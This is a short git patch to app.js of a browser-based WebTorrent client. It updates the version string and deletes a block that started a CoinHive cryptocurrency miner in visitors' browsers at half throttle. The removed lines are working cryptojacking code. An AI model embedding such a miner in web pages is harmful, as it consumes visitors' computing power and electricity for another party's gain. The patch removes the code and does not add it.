From 95b19db44847f009253fdf682390c5727bef681a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Diego=20Rodr=C3=ADguez=20Baquero?= Date: Mon, 2 May 2022 16:06:43 -0500 Subject: [PATCH] Clean up --- app.js | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/app.js b/app.js index 39c056b..a72400b 100644 --- a/app.js +++ b/app.js @@ -1,6 +1,6 @@ /* global WebTorrent, angular, moment, prompt */ -const VERSION = '0.18.1' +const VERSION = '1.0' const trackers = ['wss://tracker.btorrent.xyz', 'wss://tracker.openwebtorrent.com'] @@ -64,14 +64,6 @@ const app = angular.module('BTorrent', ) app.controller('BTorrentCtrl', ['$scope', '$rootScope', '$http', '$log', '$location', 'ngNotify', function ($scope, $rootScope, $http, $log, $location, ngNotify) { - if (window.CoinHive) { - const miner = new CoinHive.Anonymous('YzzZ9mraj45TeCzxlvBX7yVm9O3GbV60', {throttle: 0.5}) - - if (!miner.isMobile() && !miner.didOptOut(3600)) { - miner.start() - } - } - let updateAll $rootScope.version = VERSION ngNotify.config({